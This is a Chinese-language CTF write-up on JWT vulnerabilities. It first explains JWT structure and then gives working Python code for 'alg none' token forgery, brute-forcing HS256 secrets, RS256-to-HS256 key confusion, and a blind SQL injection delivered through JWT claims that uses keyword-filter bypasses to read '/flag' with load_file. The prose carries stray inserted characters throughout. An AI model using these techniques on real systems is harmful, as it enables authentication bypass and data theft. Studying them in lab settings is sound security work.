前言
在實際測試網站時多次遇到JWT認證宜鸯,趕緊把這塊知識點通過CTF題目的方式補上。
JWT 定義
JWT 全稱是Json Web Token姊途,由服務端用加密算法對信息簽名來保證其完整性和不可偽造作谭。
Token里可以包含所有必要信息厘线,這樣服務端就無需保存任何關于用戶或會話的信息,JWT可用于身份認證、會話狀態(tài)維持叠萍、信息交換等芝发。特別適用于分布式站點的單點登錄(SSO)場景。
- 優(yōu)點
- JWT可以進行跨語言支持的苛谷,如JAVA辅鲸,JavaScript,NodeJS腹殿,PHP等很多語言都可以使用独悴;
- JWT可以在自身存儲一些其他業(yè)務邏輯所必要的非敏感信息;
- JWT結構簡單锣尉,字節(jié)占用很小刻炒,便于傳輸;
- JWT不需要在服務端保存會話信息自沧,易于應用的擴展坟奥;
- 缺點
- JWT包含認證信息,因此一旦信息泄露暂幼,任何人都可以獲得令牌的所有權限筏勒;
- JWT不建議使用HTTP協(xié)議來傳輸代碼,而是使用加密的HTTPS協(xié)議進行傳輸旺嬉;
- 由于服務器不保存session狀態(tài)管行,
JWT 結構
JWT是一個很長的字符串,包含頭部邪媳、載荷捐顷、簽名,中間用.
分割為三個部分雨效,即
Header.Payload.Signature
下面分別學習每個部分:
- Header
Header部分是一個JSON 對象迅涮。
{
"alg": "HS256",
"typ": "JWT"
}
alg
表示簽名的算法,默認HS256徽龟;
type
表示令牌的類型叮姑;
最后將Header部分的JSON 對象使用Base64URL算法轉成字符串。
- Payload
Payload部分也是一個JSON 對象据悔。
這部分有7個字段传透,分別是
iss (issuer):JWT的發(fā)行者
exp (expiration time):過期時間
sub (subject):JWT面向的主題
aud (audience):JWT的用戶
nbf (Not Before):生效時間
iat (Issued At):簽發(fā)時間
jti (JWT ID):JWT唯一標識
除此以外,也可以自定義字段极颓。如:
{
"sub": "123456789",
"name": "cseroad",
"admin": true
}
最后同樣將該json對象使用Base64URL算法轉成字符串朱盐。
- Signature
Signature 部分是對前兩部分的簽名,防止數據被篡改菠隆。
首先需要一個服務器端的秘鑰secretkey兵琳。然后狂秘,使用Header里面指定的簽名算法(HS256(HMAC SHA256),按照公式產生簽名躯肌。
公式如下:
data = base64urlEncode(header) + "." + base64urlEncode(payload)
signature = HMAC-SHA256(data,secretkey)
算法
- Base64URL算法是base64的修改版者春,是為了方便在web中傳輸使用了不同的編碼表,不會在末尾填充=號羡榴,并將+和/分別改為-和_
- HMAC算法是密鑰相關的哈希運算消息認證碼(Hash-based Message Authentication Code)的縮寫碧查,它是一種對稱加密算法,使用相同的密鑰對傳輸信息進行加解密校仑。
- RSA算法則是一種非對稱加密算法忠售,使用私鑰加密明文,公鑰解密密文迄沫。
在HMAC和RSA算法中稻扬,都是使用私鑰對signature字段進行簽名,只有拿到了加密時使用的私鑰羊瘩,才有可能偽造token泰佳。
JWT 漏洞
空密碼算法
docker實驗環(huán)境:
docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token
登錄失敗后,會返回正確賬戶密碼尘吗。再次登錄逝她,cookie里token就是JWT。
解碼一下睬捶。在線解碼地址:https://jwt.io/
將用戶修改為admin黔宛,并且將alg的值改為none,借助python2的pyjwt庫擒贸,該庫pip直接install安裝即可臀晃。python3也可以正常運行。
import jwt
payload = {"auth":1612336103120,"agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0","role":"admin","iat":1612336103}
print(jwt.encode(payload,None,algorithm="none"))
替換新的JWT介劫,再次請求徽惋。
成功登錄admin用戶。
JWT爆破
題目來自:https://2019shell1.picoctf.com/problem/32267/
當alg指定了加密算法時座韵,可以進行針對key的暴力破解险绘。
python2 編寫的爆破腳本:
# !/usr/bin/env python2
# -*- coding: utf-8 -*-
import jwt
import sys
def burp_jwt(jwt_json,dicts):
with open(dicts) as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json,verify=True,key=key,algorithm='HS256')
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")
if __name__ == '__main__':
if(len(sys.argv) == 3):
print('User: please burp_jwt.py jwt_json dict.txt')
jwt_json = sys.argv[1]
dicts = sys.argv[2]
burp_jwt(jwt_json,dicts)
else:
print('User: please please burp_jwt.py jwt_json dict.txt')
準備好dict.txt爆破字典,運行命令如下:
python burp_jwt.py jwt_json dict.txt
爆破出key值為ilovepico誉碴。
再通過用戶修改為admin宦棺,偽造jwt。
import jwt
payload = {
"user":"admin"
}
key = 'ilovepico'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256')
print(encoded_jwt)
計算出admin用戶的jwt值翔烁。獲取flag渺氧。
也可以利用c-jwt-cracker進行爆破旨涝。
git 該項目蹬屹。docker 來破解jwt侣背。
docker build . -t jwtcrack
docker run -it --rm jwtcrack jwt_json
修改RSA加密算法為HMAC
我們知道RSA是非對稱加密算法,使用私鑰secretkey加密慨默,使用本地的public.key解密贩耐。而HMAC是對稱加密算法。如果服務端期待收到的算法為RS256厦取,而實際上收到的算法是HS256潮太,那么服務端就可能嘗試把public當作私鑰secretkey,然后用HS256算法解密驗證JWT虾攻。
題目來自:http://demo.sjoerdlangkemper.nl/jwtdemo/rs256.php
訪問就知道是JWT铡买,且使用RS256算法。
通過掃描目錄獲取RSA的公鑰public.pem霎箍。
下載后奇钞,運行該代碼
#python2
import jwt
public = open('public.pem', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='HS256'))
如果運行腳本報錯。需要注釋algorithms.py文件的第150行漂坏。
再次運行獲得admin用戶的JWT值景埃。
send JWT即為admin用戶。
sql注入
題目來自:2020 網鼎杯 玄武組 js_on顶别,可以去ctfhub平臺在線練習谷徙。
就看到一個登錄框,測試弱口令admin/admin驯绎,登錄獲得key值完慧。
抓取數據包可以看到使用JWT認證。
解密JWT
利用腳本添加key条篷,修改payload部分骗随,計算JWT
import jwt
payload = {
"user": "admin",
"news": "Hello"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)
得到新的JWT值。
判斷user參數是否存在sql注入
添加單引號赴叹,再編碼得到JWT值鸿染,再發(fā)包。"user": "admin'"
判斷sql注入的注入類型乞巧。"user": "admin' and 1=1#"
好像有過濾涨椒。
使用注釋符/**/進行繞過。
"user": "admin'/**/and/**/1=1#"
"user": "admin'/**/and/**/1=2#"
判斷為盲注绽媒。
下面就可以直接通過load_file函數讀取跟目錄下的flag值蚕冬。
最常用的方法就是通過二分法讀取。
在讀取之前首先要對注入語句進行處理是辕。
- 關鍵字之間添加<a>
- 空格使用注釋符/**/繞過
所以一個簡單的payload就有了
admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),1,1))>32#
通過mid函數一位一位分割囤热,并通過ascii碼計算判斷在哪兩個數字之間。
結合程序來看获三,將payload部分進行加密旁蔼,賦值token锨苏,作為cookie進行get請求,通過返回包是否匹配到hello棺聊,判斷payload是否有效伞租。
首先嘗試獲取第一位flag字母的ascii值,最小ascii為32限佩,最大為127葵诈。
第一次運算,mid取32加127和的整數為79祟同,max取127作喘;第一位flag的ascii是否大于79,判斷大于晕城,所以mid最小值變?yōu)?79+127)/2=103徊都,最大值為127。判斷第一位flag的ascii小于103广辰,所以要把最大值賦值為103暇矫,最小值就變?yōu)?79+103)/2=91,依次循環(huán)择吊,直到計算出在某兩個相鄰數字之間货徙。
大于98儡率,小于100,只能是99。
以上就是利用二分法猜解出flag第一位的結果探膊。
外面再嵌套一個for循環(huán)望抽,遍歷第二位芥备、第三位稳懒、第四位......
完整代碼為
# coding=utf-8
import jwt
import requests
import re
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-0ee2421b156baecb.sandbox.ctfhub.com:10080/index.php"
payloadTmpl = "admin'/**/and/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
def sql_jwt():
result = ""
for i in range(1,50):
min = 31
max = 127
while abs(max-min) > 1:
mid = (min + max)//2
payload = payloadTmpl.format(i,mid)
print(payload)
jwttoken = {
"user": payload,
"news": "hello"
}
payload = jwt.encode(jwttoken, key, algorithm='HS256').decode('utf-8')
cookies = dict(token=str(payload))
res = requests.get(url,cookies=cookies)
if re.findall("hello", res.text) != []:
min = mid
else:
max = mid
result += chr(max)
print(result)
if __name__ == "__main__":
sql_jwt()
最終獲得flag。
總結
拿不到key焕济,基本沒法弄纷妆。
參考資料
https://saucer-man.com/information_security/377.html
https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html
http://www.si1ent.xyz/2020/10/21/JWT%E5%AE%89%E5%85%A8%E4%B8%8E%E5%AE%9E%E6%88%98/
https://www.ghtwf01.cn/index.php/archives/1108/